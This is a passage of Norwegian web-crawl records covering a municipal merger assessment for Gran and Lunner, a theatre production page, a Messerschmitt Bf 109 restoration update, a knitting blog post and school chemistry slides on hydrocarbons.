spisskompetanse. Her ligger ogs\u00e5 muligheten for utvikling og endring, siden s\u00e5rbarheten er mindre. foreligger i samarbeidet. Avveiningen mellom \u00e5 bygge kapasitet innenfor tjenesteyting i forhold til ettersp\u00f8rsel kontra det \u00e5 ha overkapasitet er en krevende utfordring eller svakhet i forhold til \u00e5 v\u00e6re en attraktiv kommune. P\u00e5 enkelte omr\u00e5der blir fagmilj\u00f8ene sm\u00e5, for eksempel ppt, barnevern, tildelingskontor og planmyndighet. Sm\u00e5 arbeidsmilj\u00f8er har mindre mulighet for l\u00e6ring og deling. Relevant kompetanse Effektiv tjenesteproduksjon De st\u00f8rste tjenesteomr\u00e5dene har et spenn i arbeidsoppgaver med mulighet for kompetanseutvikling. Dette legger godt til rette for \u00e5 rekruttere og beholde medarbeidere. I flere av de interkommunale samarbeidene er det mulighet for \u00e5 bygge og utvikle kompetanse fordi omfanget av oppgaver blir stort nok til \u00e5 ha flere ansatte. Dette gj\u00f8r at milj\u00f8ene ogs\u00e5 kan ivareta en bredere oppgaveportef\u00f8lje. N\u00e6rheten til Oslo kan v\u00e6re en styrke i forhold til tilgang p\u00e5 kompetanse og ressurser, men kan ogs\u00e5 v\u00e6re en tilsvarende svakhet i forhold til blant annet l\u00f8nn og fagmilj\u00f8 lokalt. N\u00e6rheten til tjenestene og korte linjer gir effektiv tjenesteyting. De st\u00f8rste tjenesteomr\u00e5dene har mulighet for effektiv tjenesteproduksjon ved \u00e5 utnytte tilgjengelig kapasitet og satse p\u00e5 kompetanseutvikling. Dette forutsetter kontinuerlig arbeid med tjenesteutvikling og innovasjon. Kombinasjonen av innovasjonsprosesser samtidig som daglig drift skal sikres, kan v\u00e6re krevende n\u00e5r effektiviteten skal opprettholdes. Jakten p\u00e5 bedre praksis sikrer ogs\u00e5 at tjenestene har oppmerksomhet p\u00e5 effektivisering gjennom l\u00e6ring av andre. Tabell 1 Styrker og svakheter kriterier i forhold til kommunes rolle som tjenesteyter Det er i dag f\u00e5 karrieremuligheter utover ordin\u00e6r lederroller. Tilgang p\u00e5 kompetanse kan v\u00e6re krevende. For enkelte utdanningsgrupper er det generelt et stamt rekrutteringsmarked. L\u00f8nn og fagmilj\u00f8 kan da fort bli en utfordring \u00e5 \u00abmatche\u00bb for mindre kommuner. Vi ser at innen enkelte faggrupper, som sykepleiere, er det en utfordring med for f\u00e5 kvalifiserte s\u00f8kere per utlyste stilling. Det medf\u00f8rer mangel p\u00e5 kvalifisert personell i deler av tjenestene. En tjenestestruktur med sm\u00e5 enheter gir utfordringer b\u00e5de \u00f8konomisk og faglig. Dersom tjenestene ikke er organisert slik at kompetanse og kapasitet kan utnyttes p\u00e5 tvers, svekkes tjenesteproduksjonen med tilh\u00f8rende \u00f8konomiske konsekvenser. Dette gjelder for eksempel deler av helse/omsorg og barnehage i begge kommuner, og skole i Gran. Uforutsigbarheten i ettersp\u00f8rselen er en utfordring i forhold til kapasitet og effektiv tjenesteproduksjon. Mange av tjenestene kommunen yter styres av rettigheter og behov hos brukerne. 16\n\n\n\n17 4 Utfordring er og mul igheter i en ny kommune Hva vil en ny kommune bety for tjenestene kommunen skal gi sine innbyggere? Det er et av de viktigste sp\u00f8rsm\u00e5lene som utredes overordnet i denne delen av prosessen. En ny og st\u00f8rre kommune vil etter all sannsynlighet v\u00e6re bedre i stand til \u00e5 l\u00f8se nye oppgaver, dekke mer spesialiserte tjenester og brukerbehov, og m\u00f8te andre forventinger til kommunal tjenesteyting som kommer gjennom statlige f\u00f8ringer. Dagens interkommunale tjenester vil bli kommunale tjenester med tydeligere admin istrativ forankring og bedret politisk styring. Dette vil bety endringer b\u00e5de i opplevd eierskap og effektivitet. Det er grunn til \u00e5 anta at en ny kommune over tid vil effektivisere administrasjonen. Slik vil det skapes rom for \u00e5 vri ressursbruken fra adm inistrasjon til tjenesteyting, og dermed ogs\u00e5 kapasiteten til \u00e5 ivareta en st\u00f8rre og mer spesialisert oppgaveportef\u00f8lje. 4.1 N\u00e6rhet eller sentralisering = begge deler? En st\u00f8rre kommune med lengre avstand til kommunesenteret vil ikke n\u00f8dvendigvis ha betydn ing for tilgangen til tjenestene. Det er mer avgj\u00f8rende hvordan tjenestene er organisert enn hvor kommunesenteret ligger. Uavhengig av kommunestruktur vil kommunens tjenesteyting innenfor en del sentrale omr\u00e5der, slik som barnehage og skole fortsette \u00e5 yt es som i dag. Samtidig kan det ikke utelukkes at strukturer innenfor ulike omr\u00e5der vil bli vurdert i fremtiden uavhengig av kommunestruktur, b\u00e5de av kvalitetsmessige og effektiviserings\u00e5rsaker. For \u00e5 ivareta kommunenes attraktivitet og omd\u00f8mme er det vik tig \u00e5 tilby noen av basistjenestene der innbyggerne bor. Samtidig er samlokalisering av ressurser og oppgaver p\u00e5 andre tjeneste omr\u00e5der p ositivt og viktig for \u00e5 bygge kompetanse, utnytte ressurser, ivareta en st\u00f8rre portef\u00f8lje og lignende. For eksempel vil dette v\u00e6re sentraladministrasjon og tjenester som i dag er lokalisert p\u00e5 r\u00e5dhusene. At dagens tjenester blir samlokalisert i en tjeneste i ny kommune, betyr ikke n\u00f8dvend igvis at den blir sentralisert. Samlokaliseringen kan skje i ulike deler av en ny kom mune. 17\n\n\n\n* Alle strekninger til/fra Bjoneroa er ferge medregnet) Ser vi p\u00e5 avstandene innenfor arealene til en ny kommune er det ca. 5 mil mellom ytterpunktene.\")\n\n19 4.3 Mulige effektiviseringsgevinster p\u00e5 tjenesteproduksjon I tillegg til innsparing i administrasjon vil en ny kommune ogs\u00e5 kunne hente ut effektiviserings gevinster p\u00e5 tjenesteomr\u00e5dene gjennom re alisering av stordriftsfordeler eller samlokalisering. For eksempel er det i tidligere utredninger for Samhandlingsreformen i Lunner og Gran beskrevet mulighet for stordriftsfordeler ved etablering av felles barrierevaskeri og felles kj\u00f8kkentjenester. Samtidig viser erf aringene at det er vanskelig \u00e5 hente ut direkte \u00f8konomiske gevinster for f\u00f8rstelinjetjenester, spesielt for tjenester hvor n\u00e6rhet til innbyggerne er viktig. Erfaringer fra de siste gjennomf\u00f8rte kommunesammensl\u00e5ingeneviser at skoler, barnehager, sykehjem og lignende gjerne blir liggende hvor de er (Brandtz\u00e6g 2009). Ved etablering av en ny felles kommune vil det v\u00e6re en naturlig konsekvens at tjenestene p\u00e5 de ulike omr\u00e5dene gjennomg\u00e5s. Det betyr en gjennomgang av niv\u00e5et for tjenesteyting p\u00e5 u like omr\u00e5der. Hvilket niv\u00e5 den nye kommunen vil yte tjenestene p\u00e5, vil derfor endres i forhold til dagens situasjon i Gran og Lunner. Produksjonsindeksen i kap. 3.3 viser at det er et potensial for tjenesteutjevning basert p\u00e5 at dagens kommuner har gjort ulike prioriteringer. En slik tjenesteutjevning vil kunne skje uten m\u00e5lsetning om effektivisering eller innsparing, men for \u00e5 sikre like tjenester til alle innbyggerne i en ny kommune. P\u00e5 enkelte omr\u00e5der kan det ogs\u00e5 v\u00e6re slik at m\u00e5lsetningen blir at tjenes teniv\u00e5 et skal tiln\u00e6rme seg over tid, for eksempel n\u00e5r det gjelder utstyr eller kvalitet. En ny kommune vil med dette gi rom for bedre ressursutnyttelse. Det vil bli mulighet for \u00e5 hente mer ut av hver krone brukt gjennom \u00f8kt kvalitet eller gjennom \u00f8kt kapasitet. Dagenss\u00e5rbarhet ved \u00f8kt p\u00e5gang av saker eller vakanser ved de sm\u00e5 tjenesteomr\u00e5dene, som barnevern/ppt, vil kunne l\u00f8ses gjennom rekruttering til mer robuste fagmilj\u00f8er i en ny kommune. Et annet omr\u00e5de hvor vi ser mulighet for bedre ressursutnyttel se i en ny kommune er tildelingskontorene. St\u00f8rre fagmilj\u00f8 med bredde i kompetanse og erfaring gir \u00f8kt kvalitet i saksbehandling, hvor kommunen bedre m\u00f8ter brukerne uavhengig av kompleksitet. Kommunen vil gjennom bedre ressursutnyttelse og stordriftsfordel er bedre kunne m\u00f8te ogs\u00e5 fremtidige behov. 4.4 Utfordringer og muligheter knyttet til fremtidig t jenesteyting Fremtidens tjenesteyting handler om \u00e5 lykkes med \u00e5 ha tilstrekkelig kapasitet, relevant kompetanse og effektiv tjenesteproduksjon. En ny kommune m\u00e5 satse p\u00e5 innovasjon i tjenestene, etablere selvbetjeningsl\u00f8sninger og utstrakt samarbeid med frivillige lag og foreninger for \u00e5 lykkes. Figur 7 Kommunal tjenesteyting - viktige sammenhenger Kommunereformen signaliserer \u00abnye oppgaver til st\u00f8rre kommuner\u00bb. Allerede n\u00e5 i mars 2015 er det beskrevet p\u00e5 hvilke omr\u00e5der kommunene f\u00e5r \u00f8kt oppgaveportef\u00f8lje. I Sundvolden-erkl\u00e6ringen st\u00e5r det at: Regjeringen vil foreta en gjennomgang av oppgavene til fylkeskommunene, fylkesmennene og staten med sikte p\u00e5 \u00e5 gi mer makt og myndighet til mer robuste kommuner. Dette betyr at ved etablering av en st\u00f8rre og mer robust kommune vil tilf\u00f8ring av nye oppgaver gi bedre tilgjengelighet og n\u00e6rhet til nye, og i dag ukjente tjenester for b\u00e5de brukere og ansatte. I Stortingsmelding 14 (mars 2015) sies det at \u00abKommuner med minst innbyggere kan v\u00e6re i stand til \u00e5 overta ansvaret for nye oppgaver innenfor flere av de ti omr\u00e5dene utvalget har vurdert. Dette er: 19\n\n\n\n20 habiliterings- og rehabiliteringstjenestene, statlige oppgaver tilknyttet fosterhjem og barneverninstitusjoner, hjelpemidler til personer med nedsatt funksjonsevne, arbeidsmarkedstiltak i skjermet sektor og virkemidler for lokal n\u00e6rings- og samfunnsutvikling.\u00bb. Dette vil kreve omlegging av tjenestene, samtidig som kommunene m\u00e5 iverksette et m\u00e5lrettet arbeid for \u00e5 fremst\u00e5 som konkurransedyktige og attraktive arbeidsgivere. Det er grunn til \u00e5 anta at en ny kommune vil ha lettere for \u00e5 lykkes i denne omstillingen av kommunal tjenesteyting. Det er ikke lenger tilstrekkelig \u00e5 organisere seg annerledes eller gjennomf\u00f8re effektiviseringstiltak. For \u00e5 sikre tjenesteyting i fremtiden som svarer til krav og forventinger fra b\u00e5de myndigheter og brukere m\u00e5 det gjennomf\u00f8res innovasjonsprosesser i kommunen. Vi vet allerede i dag at det vil v\u00e6re avgj\u00f8rende med innovativ bruk av blant annet velferdsteknologi for \u00e5 lykkes med morgendagens tjenesteyting innenfor helse og omsorg. En kritisk suksessfaktor vil v\u00e6re \u00e5 legge til rette for tjenesteutvikling gjennom innovasjon i prosessen med etablering av ny kommune. Kommunens innbyggere vil gjennom alle livsfaser v\u00e6re avhengig av kommunale tjenester. Det vi imidlertid erfarer er at forventingene til tjenesteproduksjonen er i endring. Innbyggerne vil ha en \u00f8kende forventing om skreddersydde l\u00f8sninger for sine behov. Mangfoldet i tjenesteytingen krever h\u00f8y grad av omstillingsevne. For \u00e5 lykkes med dette m\u00e5 en ny kommune s\u00f8rge for \u00e5 v\u00e6re en endringsdyktig organisasjon med b\u00e5de bredde- og spesialistkompetanse. Den nye kommunen m\u00e5 satse p\u00e5 utvikling av kapasitet og kompetanse. Fylkesmann Christl Kvam uttaler i et leserinnlegg i Hadeland 12. mars f\u00f8lgende: \u00abKommunene trenger stadig flere folk med stadig h\u00f8yere kompetanse\u00bb. Dette m\u00e5 gj\u00f8res gjennom tiltak, hvor den nye kommunen fremst\u00e5r som en attraktiv arbeidsgiver. Med den beliggenheten en ny kommune har, er konkurransen i arbeidsmarkedet stort. Vi ligger innenfor akseptabel pendleravstand til b\u00e5de Oslo, Romerike, Ringerike og Raufoss/Gj\u00f8vik. Skal kommunen ha tilgang til relevant kompetanse, tilstrekkelig kapasitet og bygge tjenester for fremtiden m\u00e5 det derfor brukes aktive virkemidler for \u00e5 fremst\u00e5 som en attraktiv arbeidsgiver. Utvikling av kompetente fagmilj\u00f8 med b\u00e5de bredde- og spesialistkompetanse, innovasjons- og utviklingsfokus p\u00e5 tjenestene samt tydeligere karriereveier er noen av disse virkemidlene. Kommunal sektor er ikke l\u00f8nnsledende, og det ligger heller ikke an til at dette vil v\u00e6re en realitet i fremtiden. En ny kommune m\u00e5 skape seg konkurransefortrinn p\u00e5 andre m\u00e5ter for \u00e5 fremst\u00e5 som en attraktiv i et krevende arbeidsmarked. Gjennom etablering av st\u00f8rre fagmilj\u00f8er, \u00f8kt kompleksitet i oppgavene og flere karrieremuligheter, vil en ny kommune kunne tilby jobbmuligheter for flere med h\u00f8y kompetanse enn hva som er mulig i dag. St\u00f8rre fagmilj\u00f8 var viktig for mange ansatte. P\u00e5 ansattcafeen ble dette bekreftet med f\u00f8lgende uttalelse: \u00abMed st\u00f8rre fagmilj\u00f8er vil vi lettere kunne skape tilbud til de vi ellers ikke klarer \u00e5 n\u00e5\u00bb. Som tidligere p\u00e5pekt viser utredninger fra Samhandlingsreformen at det vil v\u00e6re hensiktsmessig \u00e5 etablere felles demensteam og lindrende enhet. Dette er spesialiserte fagomr\u00e5der med krav til b\u00e5de kompetanse og erfaring som en ny kommune enklere vil legge til rette for. Arbeidsgruppen mener at dette er et omr\u00e5de som vil legge til rette for m\u00e5loppn\u00e5else innenfor videreutvikling av fremtiden tjenesteyting. Muligheten til \u00e5 rekruttere og beholde kompetanse i kommunen vil \u00f8ke i en sammensl\u00e5tt kommune. En st\u00f8rre kommune gir mulighet for st\u00f8rre kompleksitet i oppgavene, slik at tjenestene i st\u00f8rre grad kan spesialiseres. P\u00e5 den m\u00e5ten vil en ny kommune i st\u00f8rre grad v\u00e6re i stand til \u00e5 l\u00f8se krevende og sammensatte oppgaver. I m\u00f8te med ansatte p\u00e5 ansattcafe var en av oppgavene \u00e5 beskrive nettopp disse utfordringene. En av deltagerne sa: \u00abDet oppleves som en styrke \u00e5 jobbe i interkommunale samarbeid fordi vi er flere som jobber med samme tema. Vi f\u00e5r bedre kompetanse og bedre samarbeid p\u00e5 tvers\u00bb. Utfordringene knyttet til effektiv tjenesteproduksjon i en ny kommune er hovedsakelig knyttet til kapasitet til \u00e5 dekke behovene for tjenester for brukeren under 15 \u00e5r og de over 67 \u00e5r. I tidligere omtalte leserinnlegg i Hadeland 12. mars uttaler fylkesmann Christel Kvam at brukerne: \u00abf\u00e5r og krever flere rettigheter og forventer mer av kommunene.\u00bb Dette vil p\u00e5virke kommunenes tjenesteproduksjon. For gruppen yngre brukere er behovet for skreddersydde tilbud, etablert gjennom tverrfaglig samarbeid, en av de store utfordringene. Kompleksiteten i behovene og forventingene til kvalitet og innhold vil stille store krav til en ny kommune. 20\n\n\n\n", "language": "no", "__index_level_0__": "aac8acf2-780d-4619-a865-b6712fc41a78"}
{"url": "https://trondelag-teater.no/forestillinger/2011-thk/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:43:54Z", "text": "# Tro, h\u00e5p og kj\u00e6rlighet\n\nav \u00d6d\u00f6n von Horv\u00e1th\n\n8.4.11 - 21.5.11 | Studioscenen\n\n#### PRISER\n\nOrdin\u00e6r: 210,-\n\nHonn\u00f8r: 190,-\n\nBarn/Student: 145,-\n\nGrupper over 10: 190,-\n\n#### MEDVIRKENDE\n\nJanne Heltberg\n\nCici Henriksen\n\nKristofer Hivju\n\nTrond Peter Stams\u00f8 Munch\n\nTrond-Ove Skr\u00f8dal\n\nDet \u00e5 ta ansvar for sine egne handlinger er ikke alltid s\u00e5 fristende. Det er noe alle vet. Derfor er det deilig \u00e5 ha et stort, h\u00e5ndfast, konkret og utvetydig regelverk \u00e5 gjemme seg bak. Men hva er det som gj\u00f8r at de som er \"innenfor\" s\u00e5 legitimt og h\u00f8flig og heltuten videre anser det som sin rett og plikt \u00e5 holde andre \"utenfor\"? Dette er sp\u00f8rsm\u00e5l som blir tatt opp i denne lille sorte komedien av \u00d6d\u00f6n von Horv\u00e1th fra 1932.\n\n*Tro, h\u00e5p og kj\u00e6rlighet* handler om Elisabeth og hennes kamp mot et rigid og altfor byr\u00e5kratisk samfunnssystem. Likhetene med v\u00e5rt eget norske velferdssamfunn er b\u00e5de komiske og ubehagelige. Problemet med ethvert samfunnssystem er at det p\u00e5 et eller annet niv\u00e5 er n\u00f8dt til \u00e5 ta mer hensyn til massene enn til enkeltmennesket. Av og til kan dette f\u00e5 paradoksale konsekvenser som virker fullstendig ulogiske, og som kan g\u00e5 hardt utover uskyldige enkeltmennesker. Elisabeth er en slik skikkelse. Hun m\u00f8ter loven og dens h\u00e5ndhevere p\u00e5 sitt absolutt mest dobbeltmoralske, og konsekvensene grenser til det absurde.\n\nJonas Corell Petersen gikk ut av Statens Teaterh\u00f8gskole i Oslo i 2010. Diplomoppgaven hans *Unge Werthers lidingar* som hadde premiere p\u00e5 Det Norske Teatret i h\u00f8st ble i \u00e5r plukket ut til \u00e5 delta p\u00e5 den prestisjetunge teaterfestivalen Fast Forward i Tyskland \u2013 og vant hele festivalen\\! Alt tyder p\u00e5 at det er en \"rising star\" som regisserer *Tro, h\u00e5p og kj\u00e6rlighet* p\u00e5 Tr\u00f8ndelag Teater denne v\u00e5ren.\n\nI den krevende hovedrollen som Elisabeth er vi glade for \u00e5 presentere et av de ferskeste ansiktene p\u00e5 Tr\u00f8ndelag Teater. Janne Heltberg Haarseth var ferdigutdannet skuespiller i 2010, og debuterte samme \u00e5r som Peter i *Romeo og Julie* her p\u00e5 teatret. Dette blir hennes f\u00f8rste store hovedrolle.\n\n#### VARIGHET\n\n1 time. Spilles uten pause\n\n#### ANSVARLIGE\n\n**Regi** Jonas Corell Petersen  \n**Scenografi og kostymer** Nia Damerell  \n**Musikk** Gaute T\u00f8nder  \n**Lysdesign** Tommy Geving  \n**Oversettelse** Eirik Stub\u00f8\n\nMedvirkende\n\n\n\nJanne Heltberg\n\n\n\nCici Henriksen\n\n\n\nKristofer Hivju\n\n\n\nTrond Peter Stams\u00f8 Munch\n\n\n\nTrond-Ove Skr\u00f8dal\n\nHva pressen skriver\n\n\u2013 en annerledes, tankevekkende og god oppsetning  \n\u2013 *Tro, h\u00e5p og kj\u00e6rlighet* er f\u00f8rst og fremst en absurd og komisk forestilling med god timing fra skuespillerne  \n*Frida Holsten Gullestad*  \n**Adresseavisen**\n\n\u2013 Snodig, r\u00e5tt og morsomt med bisk undertone. *Tro, h\u00e5p og kj\u00e6rlighet* av \u00d6d\u00f6n von Horv\u00e1th framst\u00e5r i flott mundur  \n\u2013 Denne versjonen er meget godt komponert. Elementene henger sammen. Dette er et stykke som lever ei god stund etter at lyset er sl\u00e5tt av  \n*Lars Erik Skj\u00e6rseth*  \n**NRK**\n\n\u2013 en oppfinnsom og energisk forestiling  \n\u2013 *Tro, h\u00e5p og kj\u00e6rlighet* syder av sterkt iscenesatt frustrasjon. Det er morsomt.  \n*Inger Merete Hobbelstad*  \n**Dagbladet**\n\n\u2013 En velfylt teatertime  \n\u2013 en fin time med godt skuespill og interessant tematikk, sydd sammen med litt uvant, men veldig spennende regi  \n*Monica Ir\u00e9n Solberg Susegg*  \n**Tr\u00f8nder-Avisa**\n\n\u2013 Den filmiske l\u00f8sningen med korte sekvenser som uanstrengt flyter over i hverandre, inspirerer skuespillerne til suverent spill \u2013 hele veien p\u00e5 grensen til det absurde  \n*Martin Nordvik*  \n**Aftenposten**\n\n\u2013 Skremmande aktuell  \n\u2013 Nia Damerell har laga ein relativt enkel, men s\u00e6rs effektiv scenografi  \n*Amund Grimstad*  \n**Klassekampen**\n\n# Tro, h\u00e5p og kj\u00e6rlighet\n\nav \u00d6d\u00f6n von Horv\u00e1th\n\n\n\n**Studioscenen**  \n8.4.11 - 21.5.11\n\n**Ordin\u00e6r:** 210,-\n\n**Honn\u00f8r:** 190,-\n\n**Barn/Student:** 145,-\n\n**Grupper over 10:** 190,-\n\nVARIGHET\n\n1 time. Spilles uten pause\n\nANSVARLIGE\n\n**Regi** Jonas Corell Petersen  \n**Scenografi og kostymer** Nia Damerell  \n**Musikk** Gaute T\u00f8nder  \n**Lysdesign** Tommy Geving  \n**Oversettelse** Eirik Stub\u00f8\n\n", "language": "no", "__index_level_0__": "b67e2b4d-6678-4c90-af87-1fbf6835e3bc"}
{"url": "http://www.blhf.org/?id=1533002162", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:07:48Z", "text": "# Oppbygging av Messerschmitt Bf 109.\n\nRestoring the Messerschmitt Bf 109\n\n**Verkstedet i Bod\u00f8 skal bygge opp cockpit-seksjonen til Messerschmitt Bf\u00a0109. Kroppen fra cockpit og bakover bygges opp i Tyskland, mens vingene lages i Ungarn.**\n\n****Finnen er allerede ferdig restaurert i Ungarn og st\u00e5r i verkstedet. Bakkroppen ankom Bod\u00f8 23. april. Som vanlig har tyskerne gjort en flott jobb.\u00a0****\n\n***The workshop in Bod\u00f8 is going to rebuild the cockpit section of the Messerschmitt Bf 109. The fuselage from the cockpit and to the tail fin is restored in Germany, while the wings are made in Hungary.***\n\n***The fin is already fully restored in Hungary and is stored in our workshop. The aft section of the fuselage arrived at Bod\u00f8 23^(rd) of April. As usual, the Germans have done a great job.***\n\n-----\n<tr class=\"even\">\n<td><p>Det g\u00e5r framover ogs\u00e5 med Me 109, selv om arbeidet byr p\u00e5 sine utfordringer. Ketil pr\u00f8ver \u00e5 f\u00e5 skikk p\u00e5 spinneren. Noen bulker m\u00e5 rettes og s\u00e5 m\u00e5 de to delene klinkes sammen. Gunnar har tatt for seg propellen til Me 109. Det er originalpropellen som ligger p\u00e5 pallen. N\u00e5r et fly treffer vannet slik som v\u00e5r Me 109 gjorde, er det store krefter ute og g\u00e5r. Det vitner de b\u00f8yde bladene om. Vi skal bruke originalbosset og sette inn nye blader. Problemet for Gunnar er \u00e5 f\u00e5 ut de gamle, b\u00f8yde bladene. Som en for\u00f8velse har han funnet en del av et annet boss med et blad. Han tar denne demonteringen som en forsknings-oppgave f\u00f8r han skal g\u00e5 l\u00f8s p\u00e5 den store jobben.</p>\n<td><p>Sommeren er normalt en rolig tid i verkstedet. Slik er det ogs\u00e5 denne sommeren, men likevel skjer det en del ting. Gunnar, Ketil, Stein Ivar og John arbeider med Me 109. Ketil er kommet langt med innredningen av cockpit. Montering av utstyret p\u00e5 sidene gjenst\u00e5r fordi Tor Ivar f\u00f8rst skal ha p\u00e5 plass mange kabler til elektronikken som befinner seg i bakkroppen.</p>\n", "language": "no", "__index_level_0__": "98efb808-b7e5-4cb7-9bc5-edc6db7a51f6"}
{"url": "http://ulldottno.blogspot.com/2009/01/save-me-med-litt-litt-rund-v.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00177.warc.gz", "warc_date": "2018-03-24T23:15:48Z", "text": "## l\u00f8rdag 3. januar 2009\n\n### Save me med litt litt rund v\n\n  \n\nVrir jeg litt p\u00e5 v, kan det bli en u, og vi f\u00e5r sau foran e-en. Og i dag er det s\u00e5nn, sauen som skal redde dagen. Lage den myk og fin. Det blir litt strikking. Lett strikking, myk strikking, som skal toves. Toves og bli presanger. I kveld skal noen ting i vaskemaskinen. Jeg lader opp til alongstart. De er alt i gang og jeg har f\u00e5tt oppskrifter. Jeg har akkurat valgt ut garn som skal kj\u00f8pes inn. Og jeg har sendt en handler ut p\u00e5 oppdrag ;) Jeg f\u00e5r garnet i morgen eller til uka. Da blir det rapporter om hvordan det g\u00e5r med alongstartingen min. N\u00e5 imens, blir det t\u00f8ffel, panneb\u00e5nd og ferdigstillelser. Det er spennende \u00e5 pr\u00f8ve noe nytt, s\u00e5 jeg har pr\u00f8vd meg med b\u00e5de ukjent garn og toving med det garnet pluss at jeg ikke har laget tovepanneb\u00e5nd f\u00f8r. Det blir en myk ulloppvarming til panneb\u00e5ndalong. Knit along the day... the hole day.. and let the sau save us ;)\n\n02:36           \n\n", "language": "no", "__index_level_0__": "362ec3e3-494a-4ce2-82f7-4f36b5350078"}
{"url": "http://slideplayer.no/slide/2685568/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:17:13Z", "text": "\n## Presentasjon om: \"KARBONATOMETS KJEMI Oppbyggingen til 30 millioner forskjellige stoffer\"\u2014 Utskrift av presentasjonen:\n\n 1  **KARBONATOMETS KJEMI Oppbyggingen til 30 millioner forskjellige stoffer**  \n 2  **Organisk kjemi Alle innholder C-atomet, ofte i lange rekker**  \nOrganisk betyr levende, alle produkter av levende organiske forbindelser innholder C Lysbilde 2 Tidligere trodde man at organiske stoffer var kun de som fantes i planter, dyr og mennesker, men i dag vet vi at disse ogs\u00e5 kan framstilles i et laboratorium. Se l\u00e6reboka s. 44 for formel for forbindelsene. Repetisjon: Hva er et kjemisk forbindelse? Hva er et grunnstoff? Og hvordan kan vi se det ut fra formelen?   \n\n 3  **Uorganisk kjemi Uten C i formelen Unntak; CO Karbonmonoksid**  \nCO2 Karbondioksid CaCO3 Marmor H2CO3 Karbonsyre   \n\n 4  **Fotosyntesen C-atomene i alt levende kommer fra fotosyntesen**  \nLysbilde 4 Druesukkeret som plantene lager i fotosyntesen brukes for \u00e5 lage andre karbonforbindelser. C-atomene i mennesker og dyr stammer fra plantenes fotosyntese. Kroppen v\u00e5r produserer stoffer som inneholder C-atomer.   \n\n 5  **Karbonets kretsl\u00f8p Lysbilde 5**  \nKarbonet i b\u00e5de levende og d\u00f8dt biologisk materiale stammer fra karbondioksyd i atmosf\u00e6ren. Via fotosyntesen bindes karbonet i form av bl.a. druesukker og bygges derved inn i n\u00e6ringskjedene. Ved nedbrytning av biologisk materiale frigj\u00f8res det meste av karbonet og tilbakef\u00f8res til atmosf\u00e6ren i form av karbondioksyd. Ikke alt karbon frigj\u00f8res direkte til atmosf\u00e6ren, noe forblir i jorden i lengre tid. Etter hvert som det biologiske materialet brytes ned, dannes karbonholdig humus som blandes med jorden. Karbonet vil, under gitte forutsetninger, danne torv samt mineralsk kull, olje og gass. Torv dannes p\u00e5 jordoverflaten av bl.a. humus, mens mineralsk kull, olje og gass f\u00f8rst vil bli dannet dersom karbonet dekkes av nye jordlag og derved presses dypere ned i jordskorpen hvor trykk og temperatur \u00f8ker. Prosessen tar flere millioner \u00e5r.   \n\n 6  Karbonatomet C-atom i en organisk forbindelse har alltid 4 bindinger med andre atomer 8-regelen Lysbilde 6 Hvorfor har C-atomet alltid fire bindinger? Fire ytterelektroner \u2013 mangler fire for \u00e5 oppfylle \u00e5tteregelen. Deler elektroner med andre atomer. H-atomet danner alltid bare \u00e8n binding med et annet atom \u2013 hvorfor? Ett elektronpar som deles av to atomer. Antall elektronparbindinger som dannes med naboatomer er alltid lik antall elektroner som mangler for \u00e5 oppfylle 8-regelen. Se eksempel s. 45 i l\u00e6reboka av CH4-molekylet.   \n\n 7  **C6 Molekylformel Lysbilde 7**  \n6-tallet kalles indeks og sier noe om hvor mange atomer det er. Heksan = C6H14   \n\n 8  **Elektronprikkformel Lysbilde 8**  \nHar bare enkelt-bindinger mellom C-atomene S\u00e5 mange H-atomer som det er mulig = Mettete hydrokarboner Ender p\u00e5 -an Antall C-atomer Navn 1 Metan 2 Etan 3 Propan 4 Butan 5 Pentan Lysbilde 12 Metan er den gassen det er mest av i naturgass fra et olje- og gassfelt. Kan fortrenge luft og har f\u00f8lt til at mange gruvearbeidere har blitt kvalt. Eksplosjonsulykker i kontakt med luft. Lag molekylformel, kulepinnemodell og strukturformel. Pr\u00f8v med sammentrengt strukturformel (se LV s. 83). Kan dere lage en formel for hvordan en finner ut hvor mange C-atomer det er i forhold til H-atomer? Se LV s. 84 (C-atomer = n, H-atomer =n\\*2+2) Har s\u00e5 mange H-atomer som det er mulig. Alkaner = mettede hydrokarboner Hekte seg sammen p\u00e5 mange ulike m\u00e5ter, og derfor blir det s\u00e5 mange karbonforbindelser. Eks. 5 C-atomer og 12 H-atomer. Fors\u00f8k \u00e5 tegne ulike m\u00e5ter \u00e5 hekte de sammen p\u00e5. Se LV s. 84. Forstavelsen viser hvor mange C-atomer det er i molekylet \u2013 fra det greske alfabetet (fem eller flere C-atomer) Unntak: met, et, prop og but \u2013 PUGGES\\! Endelsen \u2013an betyr enkeltbinding. . Kan dere lage en formel for hvordan en finner ut hvor mange C-atomer det er i forhold til H-atomer Se LV s. 84 (C-atomer = n, H-atomer =n*2+2) Har s\u00e5 mange H-atomer som det er mulig. Alkaner = mettede hydrokarboner. Hekte seg sammen p\u00e5 mange ulike m\u00e5ter, og derfor blir det s\u00e5 mange karbonforbindelser. Eks. 5 C-atomer og 12 H-atomer. Fors\u00f8k \u00e5 tegne ulike m\u00e5ter \u00e5 hekte de sammen p\u00e5. Se LV s. 84. Forstavelsen viser hvor mange C-atomer det er i molekylet \u2013 fra det greske alfabetet (fem eller flere C-atomer) Unntak: met, et, prop og but \u2013 PUGGES! Endelsen \u2013an betyr enkeltbinding.\")  \n\n 13  **Alkaner Lysbilde 13 Skriv molekylformel og kulepinnemodell.**  \nSer dere noe m\u00f8nster?   \n\n 14  **Alkener Har en eller flere dobbeltbindinger mellom C-atomene**  \nF\u00e6rre H-atomer Umettede hydro-karboner - Ender p\u00e5 -en Antall C-atomer Navn 2 Eten 3 Propen 4 Buten 5 Penten Lysbilde 14 Lag strukturformel, molekylformel og kulepinnemodell. Endelsen \u2013en betyr dobbeltbinding, det vil si at det er \u00e8n eller flere dobbeltbindinger mellom C-atomene. Molekylet inneholder derfor ikke s\u00e5 mange H-atomer som et alkan. Alkener = umettede hydrokarboner Frukt behandles blant annet med etengass for \u00e5 framskynde modningsprosessen. Oppgave: Lag molekylformel, strukturformel og kulepinnemodell for de tre neste alkene (penta, heksa, hepta, okta, nona, deka) 